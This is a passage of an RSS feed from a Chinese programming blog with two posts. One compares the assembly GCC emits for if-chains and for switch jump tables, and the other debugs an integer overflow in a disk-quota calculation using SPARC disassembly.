switch语句在底层到底是如何实现的呢？和if语句相比，switch除了美观之外，优势又在哪里呢？我们唯有到汇编层去看个究竟了。]]></description>
			<content:encoded><![CDATA[<p>每年都有应届毕业生来到公司，每年都要对新同事进行代码方面的培训，比如编码规范就是其中之一。编码规范初听起来比较新鲜，但是培训时间长了，显然有些乏味。今年我打算改变策略，让新同事结合已有规范文档和项目代码，自己先挖掘一遍，然后大家通过坐下来讨论的互动方式来加深对规范的理解，每次讨论时间限制在1 hour以内，不给大家打瞌睡的机会^_^。</p>
<p>上周和新同事一起讨论表达式和语句，说到了switch和if，谈到了他们的用途和区别。大家都清楚switch语句被称为多分支语句，当代码中即将出现3个及3个以上分支时，推荐用switch，这样代码可读性好，清晰，格式工整；但是同样switch也是有局限的，就是switch(xx)中的xx必须是整型变量；如果你的条件判断是字符串比较，就无法直接使用switch了。switch的这一局限实际上是有原因的，为什么呢？在于其性能优化。那switch语句在底层到底是如何实现的呢？和if语句相比，switch除了美观之外，优势又在哪里呢？我们唯有到汇编层去看个究竟了。</p>
<p>我们先来看看if多分支的情况：//Windows XP + gcc v3.4.2 (mingw-special)<br />//testif.c<br />int test_if_performance(int i) {<br />&nbsp;&nbsp; &nbsp;int rv = i;</p>
<p>&nbsp;&nbsp; &nbsp;if (rv == 10) {<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;rv += 100;<br />&nbsp;&nbsp; &nbsp;} else if (rv == 11) {<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;rv += 101;<br />&nbsp;&nbsp; &nbsp;} else if (rv == 12) {<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;rv += 102;<br />&nbsp;&nbsp; &nbsp;} else if (rv == 13||rv == 14 || rv == 15) {<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;rv += 105;<br />&nbsp;&nbsp; &nbsp;} else {<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;rv += 0;<br />&nbsp;&nbsp; &nbsp;}<br />&nbsp;&nbsp; &nbsp;return rv;<br />}</p>
<p>我们通过-S选项得到test_if_performance的汇编代码，我们加上了-O2的优化选项：<br />//gcc -S O2 testif.c<br />//testif.s<br />&#8230; &#8230;<br />_test_if_performance:<br />&nbsp;&nbsp; &nbsp;pushl&nbsp;&nbsp; &nbsp;%ebp<br />&nbsp;&nbsp; &nbsp;movl&nbsp;&nbsp; &nbsp;%esp, %ebp<br />&nbsp;&nbsp; &nbsp;movl&nbsp;&nbsp; &nbsp;8(%ebp), %edx<br />&nbsp;&nbsp; &nbsp;cmpl&nbsp;&nbsp; &nbsp;$10, %edx<br />&nbsp;&nbsp; &nbsp;je&nbsp;&nbsp; &nbsp;L11<br />&nbsp;&nbsp; &nbsp;cmpl&nbsp;&nbsp; &nbsp;$11, %edx<br />&nbsp;&nbsp; &nbsp;je&nbsp;&nbsp; &nbsp;L12<br />&nbsp;&nbsp; &nbsp;cmpl&nbsp;&nbsp; &nbsp;$12, %edx<br />&nbsp;&nbsp; &nbsp;je&nbsp;&nbsp; &nbsp;L13<br />&nbsp;&nbsp; &nbsp;leal&nbsp;&nbsp; &nbsp;-13(%edx), %eax<br />&nbsp;&nbsp; &nbsp;cmpl&nbsp;&nbsp; &nbsp;$2, %eax<br />&nbsp;&nbsp; &nbsp;ja&nbsp;&nbsp; &nbsp;L3<br />&nbsp;&nbsp; &nbsp;addl&nbsp;&nbsp; &nbsp;$105, %edx<br />L3:<br />&nbsp;&nbsp; &nbsp;popl&nbsp;&nbsp; &nbsp;%ebp<br />&nbsp;&nbsp; &nbsp;movl&nbsp;&nbsp; &nbsp;%edx, %eax<br />&nbsp;&nbsp; &nbsp;ret<br />&nbsp;&nbsp; &nbsp;.p2align 4,,7<br />L11:<br />&nbsp;&nbsp; &nbsp;popl&nbsp;&nbsp; &nbsp;%ebp<br />&nbsp;&nbsp; &nbsp;movl&nbsp;&nbsp; &nbsp;$110, %edx<br />&nbsp;&nbsp; &nbsp;movl&nbsp;&nbsp; &nbsp;%edx, %eax<br />&nbsp;&nbsp; &nbsp;ret<br />&nbsp;&nbsp; &nbsp;.p2align 4,,7<br />L12:<br />&nbsp;&nbsp; &nbsp;popl&nbsp;&nbsp; &nbsp;%ebp<br />&nbsp;&nbsp; &nbsp;movl&nbsp;&nbsp; &nbsp;$112, %edx<br />&nbsp;&nbsp; &nbsp;movl&nbsp;&nbsp; &nbsp;%edx, %eax<br />&nbsp;&nbsp; &nbsp;ret<br />&nbsp;&nbsp; &nbsp;.p2align 4,,7<br />L13:<br />&nbsp;&nbsp; &nbsp;popl&nbsp;&nbsp; &nbsp;%ebp<br />&nbsp;&nbsp; &nbsp;movl&nbsp;&nbsp; &nbsp;$114, %edx<br />&nbsp;&nbsp; &nbsp;movl&nbsp;&nbsp; &nbsp;%edx, %eax<br />&nbsp;&nbsp; &nbsp;ret</p>
<p>从这段汇编码来看，if语句是逐个判断下来的，如果i = 19的话，程序需要从头判断到尾，&quot;一个都不能少&quot;^_^。那么拥有同样语义功能的switch代码又是如何实现的呢？我们继续看下去。<br />// testswitch.c 这个文件实现的是和上述testif.c同样的功能<br />int test_switch_performance(int i) {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int rv = i;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; switch(rv) {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case 10:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rv += 100;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case 11:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rv += 101;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case 12:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rv += 102;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case 13:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case 14:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case 15:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rv += 105;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; default:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rv += 0;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return rv;<br />}</p>
<p>我们同样用-O2来得到switch的汇编代码：<br />//gcc -S O2 testswitch.c<br />//testswitch.s<br />&#8230; &#8230;<br />_test_switch_performance:<br />&nbsp;&nbsp; &nbsp;pushl&nbsp;&nbsp; &nbsp;%ebp<br />&nbsp;&nbsp; &nbsp;movl&nbsp;&nbsp; &nbsp;%esp, %ebp<br />&nbsp;&nbsp; &nbsp;movl&nbsp;&nbsp; &nbsp;8(%ebp), %ecx<br />&nbsp;&nbsp; &nbsp;leal&nbsp;&nbsp; &nbsp;-10(%ecx), %edx<br />&nbsp;&nbsp; &nbsp;movl&nbsp;&nbsp; &nbsp;%ecx, %eax<br />&nbsp;&nbsp; &nbsp;cmpl&nbsp;&nbsp; &nbsp;$5, %edx<br />&nbsp;&nbsp; &nbsp;ja&nbsp;&nbsp; &nbsp;L2<br />&nbsp;&nbsp; &nbsp;jmp&nbsp;&nbsp; &nbsp;*L10(,%edx,4)<br />&nbsp;&nbsp; &nbsp;.section .rdata,&quot;dr&quot;<br />&nbsp;&nbsp; &nbsp;.align 4<br />L10: <br />&nbsp;&nbsp; &nbsp;.long&nbsp;&nbsp; &nbsp;L3<br />&nbsp;&nbsp; &nbsp;.long&nbsp;&nbsp; &nbsp;L4<br />&nbsp;&nbsp; &nbsp;.long&nbsp;&nbsp; &nbsp;L5<br />&nbsp;&nbsp; &nbsp;.long&nbsp;&nbsp; &nbsp;L8<br />&nbsp;&nbsp; &nbsp;.long&nbsp;&nbsp; &nbsp;L8<br />&nbsp;&nbsp; &nbsp;.long&nbsp;&nbsp; &nbsp;L8<br />&nbsp;&nbsp; &nbsp;.text<br />&nbsp;&nbsp; &nbsp;.p2align 4,,7<br />L8:<br />&nbsp;&nbsp; &nbsp;leal&nbsp;&nbsp; &nbsp;105(%ecx), %eax<br />&nbsp;&nbsp; &nbsp;.p2align 4,,15<br />L2:<br />&nbsp;&nbsp; &nbsp;popl&nbsp;&nbsp; &nbsp;%ebp<br />&nbsp;&nbsp; &nbsp;ret<br />&nbsp;&nbsp; &nbsp;.p2align 4,,7<br />L3:<br />&nbsp;&nbsp; &nbsp;popl&nbsp;&nbsp; &nbsp;%ebp<br />&nbsp;&nbsp; &nbsp;leal&nbsp;&nbsp; &nbsp;100(%ecx), %eax<br />&nbsp;&nbsp; &nbsp;ret<br />&nbsp;&nbsp; &nbsp;.p2align 4,,7<br />L4:<br />&nbsp;&nbsp; &nbsp;popl&nbsp;&nbsp; &nbsp;%ebp<br />&nbsp;&nbsp; &nbsp;leal&nbsp;&nbsp; &nbsp;101(%ecx), %eax<br />&nbsp;&nbsp; &nbsp;ret<br />
&nbsp;&nbsp; &nbsp;.p2align 4,,7<br />L5:<br />&nbsp;&nbsp; &nbsp;popl&nbsp;&nbsp; &nbsp;%ebp<br />&nbsp;&nbsp; &nbsp;leal&nbsp;&nbsp; &nbsp;102(%ecx), %eax<br />&nbsp;&nbsp; &nbsp;ret<br />看完汇编码，第一感觉：cmpl少了许多，一个只读数据段中的L10的标签映入眼帘，以L10标签为起始的内存中依次存储了L3、L4、L5和三个L8的地址，看起来就像是一个地址数组，或者是一个地址表，访问这个数组中的元素实际上就是调用每个元素对应地址中的一段代码。我们继续往前看，来证实一下这个想法。代码不多，比对着汇编指令手册读起来也不甚难。</p>
<p>pushl&nbsp;&nbsp; &nbsp;%ebp<br />movl&nbsp;&nbsp; &nbsp;%esp, %ebp&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;// 将栈帧地址存在%ebp中<br />movl&nbsp;&nbsp; &nbsp;8(%ebp), %ecx&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;// 将rv值存储到%ecx中<br />leal&nbsp;&nbsp; &nbsp;-10(%ecx), %edx&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;// 将rv值-10之后的值，作为地址偏移量存放到%edx<br />movl&nbsp;&nbsp; &nbsp;%ecx, %eax&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;// 将%ecx中的rv值存储到%eax中<br />cmpl&nbsp;&nbsp; &nbsp;$5, %edx&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;// 比较5 vs. (rv &#8211; 10)，显然5是编译器经过代码扫描后，算出的一个最大偏移值<br />ja&nbsp;&nbsp; &nbsp;L2&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;// jump if above ，如果5 &gt; %edx中的值，则跳到L2继续执行<br />jmp&nbsp;&nbsp; &nbsp;*L10(,%edx,4)&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;// 如果5 &lt;= %edx中的值，则jmp&nbsp;&nbsp; &nbsp;*L10(,%edx,4)</p>
<p>解析一下jmp&nbsp;&nbsp; &nbsp;*L10(,%edx,4)，按照书中所说，*L10(,%edx,4)应该对应一个叫indexed memory mode的模式，格式一般是base_address(offset_address, index, size)，含义就是base_address + offset_address + index * size；这样似乎就一目了然了。我们拿i = 12为例，经过前面的计算，%edx中存储的是2，L10(,%edx,4)相当于L10 + 0 + 2 * 4，也就是起始地址=L10 + 8的那个内存区域，恰好是L5的起始地址，jmp&nbsp;&nbsp; &nbsp;*L10(,%edx,4)，直接将代码执行routine转到L5了：</p>
<p>L5:<br />&nbsp;&nbsp; &nbsp;popl&nbsp;&nbsp; &nbsp;%ebp<br />&nbsp;&nbsp; &nbsp;leal&nbsp;&nbsp; &nbsp;102(%ecx), %eax<br />&nbsp;&nbsp; &nbsp;ret<br />显然这和前面的猜测是一致的，switch并没有使用性能低下的逐个cmpl的方式，而是形成了一个跳转表(以L10为首地址的地址数组)，并将传入switch的那个整型值经过已经的运算后作为offset值，通过一个jmp直接转到目的代码区，这样无论switch有多少个分支，实际上都只是做了一次cmpl，性能照比多if有很大提升。</p>
<p style='text-align:left'>&copy; 2008, <a href='https://tonybai.com'>bigwhite</a>. 版权所有. </p>
]]></content:encoded>
			<wfw:commentRss>https://tonybai.com/2008/08/18/thoughts-on-the-performance-of-switch-case-statments/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>小心&#039;溢出&#039;陷阱</title>
		<link>https://tonybai.com/2006/09/06/be-careful-of-the-trap-of-overflow/</link>
		<comments>https://tonybai.com/2006/09/06/be-careful-of-the-trap-of-overflow/#comments</comments>
		<pubDate>Wed, 06 Sep 2006 12:17:47 +0000</pubDate>
		<dc:creator>bigwhite</dc:creator>
				<category><![CDATA[技术志]]></category>
		<category><![CDATA[Assembly]]></category>
		<category><![CDATA[Blog]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[GCC]]></category>
		<category><![CDATA[GDB]]></category>
		<category><![CDATA[Overflow]]></category>
		<category><![CDATA[Programmer]]></category>
		<category><![CDATA[博客]]></category>
		<category><![CDATA[汇编语言]]></category>
		<category><![CDATA[溢出]]></category>
		<category><![CDATA[程序员]]></category>

		<guid isPermaLink="false">http://tonybai.com/2006/09/06/%e5%b0%8f%e5%bf%83%e6%ba%a2%e5%87%ba%e9%99%b7%e9%98%b1/</guid>
		<description><![CDATA[这几天以前曾经做过的一个项目上线测试了，果不其然，没有经过'战争洗礼'的产品就是靠不住，这不出了若干问题。害得我逃了半天课远程支持。]]></description>
			<content:encoded><![CDATA[<p>这几天以前曾经做过的一个项目上线测试了，果不其然，没有经过&#8217;战争洗礼&#8217;的产品就是靠不住，这不出了若干问题。害得我逃了半天课远程支持。</p>
<p>其中的一个问题很值得思考。其所在的模块并非是一个核心功能模块，而是一个提高系统Availability的一个功能模块，主要功能就是监视磁盘占用率。我们通过配置给出允许使用的磁盘空间大小(以M Byte为单位)，以及两个阈值，即当占用率达到多少的时候，Do A；达到多少的时候Do B。</p>
<p>我们假设用变量quota代表配置中读取的配额数值，而total代表实际检测到的占用数值，一般关于文件大小的系统调用都是用byte作为单位的，也就是说我们需要做一个转换，假设换算后的变量为quota1。由于最初我们没有考虑周全的原因，我们使用unsigned int作为quota、quota1和total的存储类型。结果在家里没有做过认真的测试，导致一到现场就&#8217;露馅&#8217;了。这个问题反应到家里后，一个同事发现了这一问题，并作了修改，经过简单的测试，好像表面上问题消失了。再一次提交到现场后，问题依旧。</p>
<p>由于那位同事还有其他工作，我只能逃课改问题，经过一段时间的代码Review终于发现了些许&#8217;蛛丝马迹&#8217;，简单表述一下，原来这里的代码是这样的：</p>
<p>计算total;<br />quota1 = quota * 1024 * 1024;<br />拿total和quota1之比与配额阈值作比较;</p>
<p>注意这里的total和quota1是unsigned long long，也就是64位的，而quota是unsigned int，即32位的。首先quota肯定不会出现溢出的可能，因为检查配置发现这个数不大。那么为什么从日志观察，quota1有问题呢？</p>
<p>比如我们的quota配置为1004800，那么在换算后正确的数值应该是053609164800，而日志中打印出来的结果却是1342177280。基本上可以肯定问题出在quota1 = quota * 1024 * 1024;这个转换式上。</p>
<p>我们大概可以用下面的程序来模拟一下这个问题：<br />int main() {<br />        long m = 1004800;<br />        unsigned long long n;<br />        n = m * 1024 * 1024;<br />        printf(&quot;%llu\n&quot;, n);<br />}</p>
<p>由于n = m * 1024 * 1024这个计算式的工作流程是这样的，先将m * 1024 * 1024的结果保存在一个临时变量中，然后再将这个临时变量值赋给n，这里是在Solaris9下利用GDB反汇编的结果：</p>
<p>(gdb) disas main<br />Dump of assembler code for function main:<br />0x0001066c &lt;main+0&gt;:    save  %sp, -128, %sp<br />0&#215;00010670 &lt;main+4&gt;:    sethi  %hi(0xf5400), %o0<br />0&#215;00010674 &lt;main+8&gt;:    or  %o0, 0&#215;100, %o0     ! 0xf5500<br />0&#215;00010678 &lt;main+12&gt;:   st  %o0, [ %fp + -20 ]<br />0x0001067c &lt;main+16&gt;:   ld  [ %fp + -20 ], %o0<br />0&#215;00010680 &lt;main+20&gt;:   sll  %o0, 0&#215;14, %o0<br />0&#215;00010684 &lt;main+24&gt;:   st  %o0, [ %fp + -28 ]<br />0&#215;00010688 &lt;main+28&gt;:   sra  %o0, 0x1f, %o0<br />0x0001068c &lt;main+32&gt;:   st  %o0, [ %fp + -32 ]<br />0&#215;00010690 &lt;main+36&gt;:   sethi  %hi(0&#215;10400), %o0<br />0&#215;00010694 &lt;main+40&gt;:   or  %o0, 0&#215;358, %o0     ! 0&#215;10758 &lt;_lib_version+8&gt;<br />0&#215;00010698 &lt;main+44&gt;:   ld  [ %fp + -32 ], %o1<br />0x0001069c &lt;main+48&gt;:   ld  [ %fp + -28 ], %o2<br />0x000106a0 &lt;main+52&gt;:   call  0&#215;20800 &lt;printf&gt;<br />0x000106a4 &lt;main+56&gt;:   nop <br />0x000106a8 &lt;main+60&gt;:   mov  %o0, %i0<br />0x000106ac &lt;main+64&gt;:   nop <br />0x000106b0 &lt;main+68&gt;:   ret <br />0x000106b4 &lt;main+72&gt;:   restore </p>
<p>%o0 = 0xf5500 = 1004800<br />store %o0 -&gt; fp + -20<br />大概看一下：<br />0&#215;00010670 &lt;main+4&gt;:    sethi  %hi(0xf5400), %o0<br />0&#215;00010674 &lt;main+8&gt;:    or  %o0, 0&#215;100, %o0     ! 0xf5500<br />0&#215;00010678 &lt;main+12&gt;:   st  %o0, [ %fp + -20 ]<br />这三句实际上是在栈上分配一个变量m，并赋值为1004800，这里编译器利用sethi  %hi(0xf5400), %o0和or  %o0, 0&#215;100, %o0两句在寄存器%o0中构造出1004800(即0xf5500)，然后将寄存器的值通过st指令写入到%fp &#8211; 20的位置。即m占据着从%fp &#8211; 17到%fp &#8211; 20这四个字节。</p>
<p>再往下<br />sll  %o0, 0&#215;14, %o0，<br />st  %o0, [ %fp + -28 ]<br />这里是编译器做的优化，它没有乘以两次1024，而是直接乘以1024*1024的结果，也就是2^20，即将%o0逻辑左移20位，即逻辑左移0&#215;14，我们知道逻辑左移即把操作数看成无符号数。对寄存器操作数进行移位，不管左右移，空出的位均补0，我们可以来手工逻辑左移一次，目前%o0中存储的是无符号数0xf5500, 即 0000 0000 0000 1111 0101 0101 0000 0000(B)，我们逻辑左移20位后为0101 0000 0000 0000 0000 0000 0000 0000(B), 即0&#215;50000000，即1342177280。之后利用st指令将改寄存器的值存入到%fp &#8211; 28开始的8个字节当中(即从%fp &#8211; 21到%fp &#8211; 28)。这样我们读出来的n值也就是1342177280了。</p>
<p>如何修正呢？看下面的例子：<br />int main() {<br />        long m = 1004800;<br />        unsigned long long n = m;</p>
<p>        n *= 1024 * 1024;<br />        printf(&quot;%llu\n&quot;, n);<br />}</p>
<p>(gdb) disas main<br />Dump of assembler code for function main:<br />0x0001066c &lt;main+0&gt;:    save  %sp, -128, %sp<br />0&#215;00010670 &lt;main+4&gt;:    sethi  %hi(0xf5400), %o0<br />0&#215;00010674 &lt;main+8&gt;:    or  %o0, 0&#215;100, %o0     ! 0xf5500<br />0&#215;00010678 &lt;main+12&gt;:   st  %o0, [ %fp + -20 ]<br />0x0001067c &lt;main+16&gt;:   ld  [ %fp + -20 ], %o0<br />0&#215;00010680 &lt;main+20&gt;:   st  %o0, [ %fp + -28 ]<br />0&#215;00010684 &lt;main+24&gt;:   sra  %o0, 0x1f, %o0<br />0&#215;00010688 &lt;main+28&gt;:   st  %o0, [ %fp + -32 ]<br />0x0001068c &lt;main+32&gt;:   ldd  [ %fp + -32 ], %o0<br />0&#215;00010690 &lt;main+36&gt;:   mov  %o0, %o2<br />0&#215;00010694 &lt;main+40&gt;:   mov  %o1, %o3<br />0&#215;00010698 &lt;main+44&gt;:   srl  %o3, 0xc, %o5<br />0x0001069c &lt;main+48&gt;:   sll  %o2, 0&#215;14, %o4<br />0x000106a0 &lt;main+52&gt;:   or  %o5, %o4, %o0<br />0x000106a4 &lt;main+56&gt;:   sll  %o3, 0&#215;14, %o1<br />0x000106a8 &lt;main+60&gt;:   std  %o0, [ %fp + -32 ]<br />0x000106ac &lt;main+64&gt;:   sethi  %hi(0&#215;10400), %o0<br />0x000106b0 &lt;main+68&gt;:   or  %o0, 0&#215;378, %o0     ! 0&#215;10778 &lt;_lib_version+8&gt;<br />0x000106b4 &lt;main+72&gt;:   ld  [ %fp + -32 ], %o1<br />0x000106b8 &lt;main+76&gt;:   ld  [ %fp + -28 ], %o2<br />0x000106bc &lt;main+80&gt;:   call  0&#215;20820 &lt;printf&gt;<br />0x000106c0 &lt;main+84&gt;:   nop <br />0x000106c4 &lt;main+88&gt;:   mov  %o0, %i0<br />0x000106c8 &lt;main+92&gt;:   nop <br />0x000106cc &lt;main+96&gt;:   ret <br />0x000106d0 &lt;main+100&gt;:  restore </p>
<p>和上面的汇编差不多少，主要的差别就是再st  %o0, [ %fp + -28 ]后，所有的操作均针对8位的m了，而且寄存器也不仅仅一个%o0参与(位数不够了)，这句之后都是关于8字节的运算了。也就不存在溢出了。毕竟汇编细节看起来还是很费劲的，大家能明白其中的意思即可。</p>
<p>其实简单来看我们可以这么来理解：<br />n = m * 1024 * 1024;<br />n *= 1024 * 1024;</p>
<p>前一个式子可以看成 m&#8217; = m * 1024 * 1024; n = m&#8217;；这样我们可以简单的认为m&#8217;这个中间变量和m存储空间一致。<br />而n *= 1024 * 1024 &lt;=&gt; n *= 1048576 &lt;=&gt; n = n * 1048576，都是在n的基础上操作，不会出现溢出问题。</p>
<p>溢出问题一般都很隐蔽，很难轻易发现，大家要格外注意。</p>
<p style='text-align:left'>&copy; 2006, <a href='https://tonybai.com'>bigwhite</a>. 版权所有. </p>
]]></content:encoded>
			<wfw:commentRss>https://tonybai.com/2006/09/06/be-careful-of-the-trap-of-overflow/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
